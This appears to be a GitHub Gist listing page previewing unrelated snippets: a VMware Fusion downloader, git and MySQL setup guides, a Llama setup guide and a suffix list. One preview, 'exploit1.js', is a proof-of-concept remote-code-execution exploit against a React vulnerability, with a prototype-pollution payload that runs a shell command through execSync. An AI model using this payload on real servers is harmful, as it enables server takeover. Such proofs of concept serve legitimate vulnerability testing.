Skip to content

Instantly share code, notes, and snippets.

@jetfir3
jetfir3 / download_fusion.sh
Last active December 17, 2025 04:21
Download VMware Fusion Pro Without a Broadcom Account
#!/usr/bin/env bash
# Download VMware Fusion for macOS without a Broadcom account.
#
# This script allows you to download various versions of VMware Fusion
# from Broadcom's Cloudflare CDN (versions 8.0.0 to 13.6.3)
# or from the archive.org VMware Workstation archive (versions 8.x.x+).
#
# Options:
# -k: Keep the downloaded file compressed (Cloudflare only; ignored for archive.org).
@pavankjadda
pavankjadda / How to fix gitignore not working issue.md
Last active December 17, 2025 04:20
How to fix "gitignore not working" issue

FYI: Created blog post with more details

How to fix ".gitignore not working" issue?

Sometimes git does not exclude files/folders added .gitignore especially if you had commited them before. Here is how to fix it. I am ignoring node_modules from Angular project as an example

  1. Update .gitignore with the folder/file name you want to ignore. You can use anyone of the formats mentioned below (prefer format1)
### Format1  ###
node_modules/
@brokenpip3
brokenpip3 / home-manager-remote.sh
Last active December 17, 2025 04:16
home-manager-remote: a simple bash script to build and apply remotely an home-manager configuration from your flake to the target hosts.
#!/usr/bin/env bash
#
# Home manager remote
#
# A simple bash script to build and apply a home-manager configuration
# from your flake to the target hosts.
# Can both build locally and copy the closure or build on target
#
# Usage:
# home-manager-remote.sh <flake_path> [target] [--build-on-target]
@rain-1
rain-1 / llama-home.md
Last active December 17, 2025 04:16
How to run Llama 13B with a 6GB graphics card

This worked on 14/May/23. The instructions will probably require updating in the future.

llama is a text prediction model similar to GPT-2, and the version of GPT-3 that has not been fine tuned yet. It is also possible to run fine tuned versions (like alpaca or vicuna with this. I think. Those versions are more focused on answering questions)

Note: I have been told that this does not support multiple GPUs. It can only use a single GPU.

It is possible to run LLama 13B with a 6GB graphics card now! (e.g. a RTX 2060). Thanks to the amazing work involved in llama.cpp. The latest change is CUDA/cuBLAS which allows you pick an arbitrary number of the transformer layers to be run on the GPU. This is perfect for low VRAM.

  • Clone llama.cpp from git, I am on commit 08737ef720f0510c7ec2aa84d7f70c691073c35d.
@akshaymarch7
akshaymarch7 / exploit1.js
Created December 16, 2025 05:01
React Critical Vulnerability (CVSS 10.0) - exploit1 code
(async () => {
// === CONFIGURATION ===
const cmd = "touch iWasHere"; // The command you want to run
const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)
console.log(`[*] Attempting to run command: ${cmd}`);
// 1. Construct the malicious payload
// This injects the command into a child_process.execSync call and throws the result in an error digest
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
@vt-rli
vt-rli / Install_MySQL_5-7_macOS_26_Tahoe.md
Created September 18, 2025 15:07
Install MySQL 5.7 on macOS 26(Tahoe) using Homebrew

It is now September 18, 2025, three days after the release of macOS 26 (Tahoe). Due to a few legacy projects, I still need to use MySQL 5.7 in 2025.

Homebrew has long since dropped support for MySQL 5.7. The old method of installing via brew tap homebrew/core --force and then modifying mysql@5.7.rb no longer works, and brew edit mysql@5.7 is also broken.

Thanks to ferrucc-io's reply, I refined and tested the steps myself and got MySQL 5.7.44 up and running on macOS 26.

For anyone who runs into the same issue, I’m documenting here:

@robhrt7
robhrt7 / MySQL_5-7_macOS.md
Last active December 17, 2025 04:14 — forked from nrollr/MySQL_macOS_Sierra.md
Install MySQL 5.7 on macOS using Homebrew

This is a fork of original gist https://gist.github.com/nrollr/3f57fc15ded7dddddcc4e82fe137b58e, with slight changes on pointing to 5.7 version branch, instead of 8 (latest default of MySQL in Hombrew).

Install MySQL 5.7 on macOS

This procedure explains how to install MySQL using Homebrew on macOS (Sierra 10.12 and up)

Install Homebrew

  • Installing Homebrew is effortless, open Terminal and enter :
    $ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
  • Note: Homebrew will download and install Command Line Tools for Xcode 8.0 as part of the installation process.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@rafnixg
rafnixg / odoo-vscode-enviroment.md
Last active December 17, 2025 04:06
Configure Odoo for Development enviroment in VSCode
@kevinflo
kevinflo / prefix-suffix.txt
Last active December 17, 2025 04:04
prefix-suffix.txt
-a
-ability
-able
-ably
-ac
-acean
-aceous
-ad
-ade
-aemia